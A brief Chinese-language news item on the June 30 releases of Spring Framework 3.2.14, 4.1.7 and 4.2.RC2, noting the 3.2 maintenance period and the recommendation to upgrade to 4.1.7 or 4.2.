      Spring 3.2.14、4.1.7及4.2.RC2于6月30日发布。   其中Spring 3.2.1是一个维护版本(维护周期到2016-12-31截止)，后续会继续根据需求和bug发布维护版本。此时，Spring官方强烈建议升级Spring框架至4.1.7 或者将要发布的4.2 。   其中Spring 4.1.7主要包含这些更新内容。
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他